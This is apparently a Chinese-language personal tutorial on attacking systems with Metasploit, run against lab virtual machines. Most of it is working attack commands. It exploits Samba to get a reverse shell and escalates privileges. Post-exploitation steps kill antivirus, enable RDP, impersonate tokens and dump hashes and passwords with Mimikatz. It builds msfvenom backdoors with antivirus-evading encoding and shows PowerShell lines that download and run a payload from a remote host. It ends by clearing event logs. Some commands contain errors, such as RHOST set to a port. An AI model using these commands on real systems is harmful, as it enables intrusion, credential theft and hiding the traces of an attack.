Metasploit簡介
1. Auxiliaries(輔助模塊)
該模塊不會直接在測試者和目標主機之間建立訪問,它們只負責執行掃描、嗅探、指紋識別等相關功能以輔助滲透測試。
2. Exploit(漏洞利用模塊)
漏洞利用是指由滲透測試者利用一個系統、應用或者服務中的安全漏洞進行的攻擊行為。流行的滲透攻擊技術包括緩沖區溢出、Web應用程序攻擊,以及利用配置錯誤等,其中包含攻擊者或測試人員針對系統中的漏洞而設計的各種POC驗證程序,用於破壞系統安全性的攻擊代碼,每個漏洞都有相應的攻擊代碼
3. Payload(攻擊載荷模塊)
攻擊載荷是我們期望目標系統在被滲透攻擊之后完成實際攻擊功能的代碼,成功滲透目標后,用於在目標系統上運行任意命令或者執行特定代碼,在 Metasploit框架中可以自由地選擇、傳送和植入。攻擊載荷也可能是簡單地在目標操作系統上執行些命令,如添加用戶賬號等
4.Post(后期滲透模塊)
該模塊主要用於在取得目標系統遠程控制權后,進行一系列的后滲透攻擊動作,如獲取敏感信息、實施跳板攻擊等。
5. Encoders(編碼工具模塊)
該模塊在滲透測試中負責免殺,以防止被殺毒軟件、防火牆、IDS及類似的安全軟件檢測出來。
6. 滲透攻擊步驟
使用MSF滲透測試時,可以綜合使用以上模塊,對目標系統進行偵察並發動攻擊,大致的步驟如下所示。
- 掃描目標機系統,尋找可用漏洞。
- 選擇並配置一個漏洞利用模塊。
- 選擇並配置一個攻擊載荷模塊。
- 選擇一個編碼技術,用來繞過殺毒軟件的查殺
- 滲透攻擊。
主機掃描
使用輔助模塊進行端口掃描
輔助模塊是 Metasploite的內置模塊,首先利用 search命令搜索有哪些可用端口模塊
portscan
下面以 TCP描模塊舉例。輸入use命令即可使用該漏洞利用模塊,使用 show options命令查看需要設置的參數
在 Required列中,被標記為yes的參數必須包含實際的值,
其中 RHOSTS設置待掃描的IP地址、
PORTS設置掃描端口范圍、
THREADS設置掃描線程,線程數量越高,掃描的速度越多。
我們使用set命令設置相應的參數,也可以使用 unset命令取消某個參數值的設置。
使用輔助模塊進行服務掃描
在掃描目標機器上運行的服務時,有多種基於服務的掃描技術可供選擇,例如VNC、FTP、SMB等,只需執行特定類型的掃描就可以發現服務。
使用Nmap掃描
在 Metasploit中同樣可以使用Nmap掃描
實際使用時,在msf命令提示符下輸入nmap,就可以顯示Nmap提供的掃描選項列表
現在我們要獲取目標主機的操作系統,輸入nmap -O -Pn/-p0 URl命令,其中Pn和-p0(數字0)參數的意思是不使用ping的方式,而且假定所有主機系統都是活動的,可以穿透防火牆,也可以避免被防火牆發現
漏洞利用Metasploitable2
首先對 Linux目標機進行掃描,收集可用的服務信息。使用Nmap掃描並查看系統開放端口和相關的應用程序
收集到目標機相關信息后,為其選擇正確的 Exploit和合適的 Payload。從掃描結東中發現主機運行着 Samba3x服務。Samba是在inux和UNX系統上實現SMB( Server Messages Block,信息服務塊)協議的一款兔費軟件。SMB是一種在局域網上共享文件和打印機的通信協議,它在局域網內使用 Linux和 Windows系統的機器之間提供文件及打印機等資源的共享服務。
輸入msf> search samba命令搜索 Samba的漏洞利用模塊,並選擇合適的漏洞利用模塊
然后 Samba服務將返回漏洞利用模塊的列表,按照各個漏洞被利用成功的相對難易度進行排序
因為 exploit/ multi/ samba/ usermap_script被標記為" Excellent”,即最傑出而且時間是最新的,為提高滲透成功率,這里選擇此模塊進行接下來的滲透有關漏洞的詳細信息可以通過info命令查看
輸入以下命令即可使用該漏洞利用模塊use 13
使用show payloads命令即可查看該漏洞利用模塊下可供選擇的攻擊載荷模塊,因為目標是 Linux機器,因此一定要選擇 Linux的攻擊載荷。
這里使用set PAYLOAD cmd/unix/reverse命令選擇基礎的cmd/unix/reverse反向攻擊載荷模塊
設置被攻擊主機IP地址,命令如下所示
msf exploit (usermap script)> set RHOST 192.168.200.25
設置漏洞利用的端口號,命令如下所示。
msf exploit(usermap script)> set RHOST 445
設置發動攻擊主機IP地址,命令如下所示
msf exploit (usermap script)> set LHOST 192.168.200.6
攻擊成功后,可以看到在攻擊機和目標機之間會建立一個Shel連接,滲透Windows系統的過程類似,唯一的差別是選擇的漏洞利用模塊和攻擊載荷模塊不ー樣。
手動提權
將session放到后台,使用local_exploit_suggester查詢可用的exp
background
use local_exploit_suggester
show options
set session 4
run
從返回結果中發現有很多提權的漏洞能使用,這里用個最新的cve-2019-1458,成功返回一個新的shell給我們,並且是system,接着就是讀密碼了
后滲透攻擊:信息收集
成功地對目標機器攻擊滲透后還可以做什么? Metasploit提供了ー個非常強大的后滲透工具- Meterpreter.該工具具有多重功能,使后續的滲透入侵變得更容易。獲取目標機的 Meterpreter Shell后,就進入了 Metasploit最精彩的后期滲透利用階段,后期滲透模塊有200多個, Meterpreterf有以下優勢。
- 純內存工作模式,不需要對磁盤進行任何寫入操作
- 使用加密通信協議,而且可以同時與幾個信道通信。
- 在被攻擊進程內工作,不需要創建新的進程
- 易於在多進程之間遷移
- 平台通用,適用於 Windows、 Linux、BSD系統,並支持 Intel X86和 Intelx64平台。
進程遷移
在剛獲得 Meterpreter Shell時,該Shel是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透后瀏覽器有可能被用戶關閉。所以第一步就是要移動這個 Shell把它和目標機中一個穩定的進程綁定在一起,而不需要對磁盤進行任何寫入操作。這樣做使得滲透更難被檢測到。
輸入ps命令獲取目標機正在運行的進程
輸入 getpid命令直看 Meterpreter Shell的進程號
可以看到 Meterpreter Shell進程的PID為1552,Name為shell.exe,然后輸入migrate 296命令把Shel移動到PID為296的 taskhost. exe進程里,因為該進程是一個穩定的應用。
migrate 296
完成進程遷移后,再次輸入 getpid命令查看 Meterpreter Shell的進程號,發現PID已經變成了296,說明已經成功遷移到 taskhost.exe進程里
進程遷移完成后,原先PID為1552的進程會自動關閉,如果沒有自動關閉可以輸入kill 1522命令“殺掉”該進程。
使用自動遷移進程命令(run post/windows/manage/migrate)后,系統會自動尋找合適的進程然后遷移1
run post/windows/manage/migrate
系統命令
先收集系統信息
sysinfo
檢查目標機是否運行在虛擬機上
run post/windows/gather/checkvm
可以看到目標機運行在VMware虛擬機上
現在檢查目標機是否正在運行,輸入命令后可以看到目標機最近的運行時間
idletime
接着查看目標機完整的網絡設置
route
輸入命令關閉目標機系統殺毒軟件
run post/windows/manage/killav
啟動目標機的遠程桌面協議也就是3389端口
run post/windows/manage/enable_rdp
可以看到,我們已經成功啟動了遠程桌面
列舉當前有多少用戶登錄了目標機
run post/windows/gather/enum_logged_on_users
可以看到系統有五個用戶
列舉安裝在目標機上的應用程序
run post/windows/gather/enum_applications
輸入shell命令進入目標機shell下面(亂碼問題輸入chcp 65001)
文件系統命令
- pwd或 getwd:查看當前處於目標機的哪個目錄
- getlwd:查看當前處於本地的哪個目錄
- search -f *.txt -d c:\ 可以搜索C盤中所有以"txt"為擴展名的文件,其中-f參數用於指定搜索文件模式,-d參數用於指定在哪個目錄下進行搜索
- download C:\test.txt /root 下載目標機c盤test文件到攻擊機root下
- upload /root/test.php c:\ 上傳root下testphp文件到c盤
后滲透攻擊:權限提升
在 Meterpreter Shell下輸入shel命令進入目標機的CMD命令行
接着輸入 whoami/ groups命令查看我們當前的權限
接着查看系統的已打補丁,傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者通過查詢C: windows里留下的補丁號“log"查看目標機大概打了哪些補丁
同樣可以看到目標機只打了2個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然后將系統已經安裝的補丁編號與提權的EXP編 號進行對比。比如 Kitrapod(KB979682)、MS11-011(KB2393802),MS11-080(KB2592799),然后使用沒有編號的EXP進行提權。因為虛擬機不怎么打補丁,所以我們可以使用很多EXP來提權,這里就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。
附:部分系統對應的補丁號
getuid //查看當前權限
getsystem //獲取system權限
令牌竊取
令牌( Token)就是系統的臨時密鑰,相當於賬戶名和密碼,用來決定是否允許這次請求和判斷這次請求是屬於哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在於系統中,除非系統重新啟動
我們先輸入 use incognito命令,然后輸入 list_tokens -u 列出可用的 token
可以看到有兩種類型的令牌:一種是 Delegation Tokens,也就是授權令牌,它支持交互式登錄(例如可以通過遠程桌面登錄訪問);
還有一種是 Impersonation tokens,也就是模擬令牌,它是非交互的會話。令牌的數量其實取決於 MeterpreterShel的訪問級別
我們已經獲得了一個系統管理員的授權令牌,現在就要假冒這個令牌,成功后即可擁有它的權限。
impersonate_token WIN-2008\\Administrator
HASH攻擊
使用Hashdump抓取密碼
Hashdump Meterpretera腳本可以從目標機器中提取Hash值,破解Hash值即可獲得登錄密碼。計算機中的每個賬號(如果是域服務器,則為域內的每個賬號)的用戶名和密碼都存儲在sam文件中,當計算機運行時,該文件對所有賬號進行鎖定,要想訪問就必須有“系統級”賬號。所以要使用該命令就必須進行權限的提升在 Meterpreter Shell提示符下輸入 hashdumpi命令,將導出目標機sam數據庫中的Hash
hashdump
使用Mimikatz抓取密碼
Metasploiti已經將其作為個 Meterpreterk腳本集成了,以便用戶使用,而不需要上傳該軟件到目標主機上Mimikatz必須在管理員權限下使用,此時假設我們通過一系列前期滲透,已經成功獲得目標機的 Meterpreter Shell(過程略),當前權限為 Administrator,輸getsystem命令獲取了系統權限
獲取系統 SYSTEM權限后,首先查看目標機器的架構。雖然 Mimikatzl同時支持32位和64位的 Windowst架構,但如果服務器是64位操作系統,直接使用 Mimikatz后, Meterpretera會默認加載個32位版本的 Mimikatz到內存,使得很多功能無效。而且在64位操作系統下必須先查看系統進程列表,然后在加載 Mimikatz.之前將進程遷移到一個64位程序的進程中,才能查看系統密碼明文,在32位操作系統下就沒有這個限制。這里輸入 sysinfo命令查看
64位系統,進程遷移一下
打開mimikatz
load mimikatz
這里顯示mimikatz被改名成kiwi
抓取所有信息:系統票據和系統賬戶信息等
creds_all
kiwi_cmd 模塊可以讓我們使用mimikatz的全部功能,該命令后面接 mimikatz.exe 的命令:
kiwi_cmd sekurlsa::logonpasswords
還有很多作用以后慢慢研究
后滲透攻擊:后門
參數說明:
- –p (- -payload-options) 添加載荷payload。
載荷這個東西比較多,這個軟件就是根據對應的載荷payload生成對應平台下的后門,所以只有選對payload,再填寫正確自己的IP,PORT就可以生成對應語言,對應平台的后門了!!!
- –e 編碼免殺。 -e x86/shikata_ga_nai
- –f (- -help-formats)輸出文件格式。
- –s 生成payload的最大長度,就是文件大小。
- –b 避免使用的字符 例如:不使用 ‘\0f’。
- –i 編碼次數。
- –c 添加自己的shellcode。
- –x | -k 捆綁。例如:原先有個正常文件normal.exe 可以通過這個選項把后門捆綁到這個程序上面。
PHP后門
在 Metasploit中,有個名為 PHP Meterpreter的 Payload,利用這個模塊可創建具有 Meterpreter功能的 PHP Webshell.。在攻擊中使用 Metasploit PHP Shell的步驟如下所示
- 使用 msfvenom創建-個 webshell. php.
- 上傳 webshell.php到目標服務器。
- 運行 Metasploit multi-handler開始監聽。
- 訪問 webshell.php頁面。
- 獲得反彈的 Metasploit Shell.
我們可以通過 Metasploitl的 msfvenom工具制作 PHP Meterpreter,命令如下
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > webshell.php
然后將 webshell.php上傳到目標服務器,這里因為是虛擬機,所以就直接復制到Kali下的/var/www/html目錄,打開 Webshell網址
(打開apache服務 service apache2 start)
接着啟動 Msfconsole,使用以下命令設置監聽
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run
反彈成功,最后使用msf命令滲透目標主機
在msf上生成木馬傳到目標機器執行上線累死個人,還是一條命令上線比較舒服。
目標環境:
Centos6.5
1、選擇exploit/multi/script/web_delivery模塊,target>7
2、選擇目標系統,我這里選擇Linux
3、選擇payload,我這里選擇linux/x64/meterpreter/reverse_tcp
4、本機監聽一下
5、運行,生成一條命令
6、目標機器執行上線。
7、獲取一個友好的交互界面。 python -c 'import pty;pty.spawn("/bin/bash")'
Windows后門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > shell.exe //32位 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > shell.exe //64位
使用exe較為容易暴露,所以還可以使用DLL類型后門,運行dll需要使用C:\Windows\System32\rundll32.exe來運行
語法:C:\Windows\System32\rundll32.exe xx.dll,Start
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >shell.dll
經常使用msf生成后門文件獲取shell,但是經常使用的都是反彈shell,reverse_tcp。但是做了內網的靶場才發現,由於目標服務器不能出網,只能使用正向shell,這時才發現,自己對於正向shell,一無所知。再補充點筆記
生成正向shell后門文件,然后上傳到目標機器上
msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe
配置監聽
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
運行后門獲取shell
Linux后門
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f elf > shell.elf
Powershell后門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1
不用設置執行策略本地執行
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\Users\fish\Desktop\shell.ps1"
遠程執行
powershell IEX (New-Object Net.WebClient).DownloadString(''http://192.168.200.64/shell.ps1'')
繞過PowerShell 執行策略的15種方法 - 知乎 (zhihu.com)
Asp后門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
Aspx后門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
Bash后門
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
Python后門
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
exe 利用exec執行powershell后門
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe
清理日志
clearev
run event_manager -c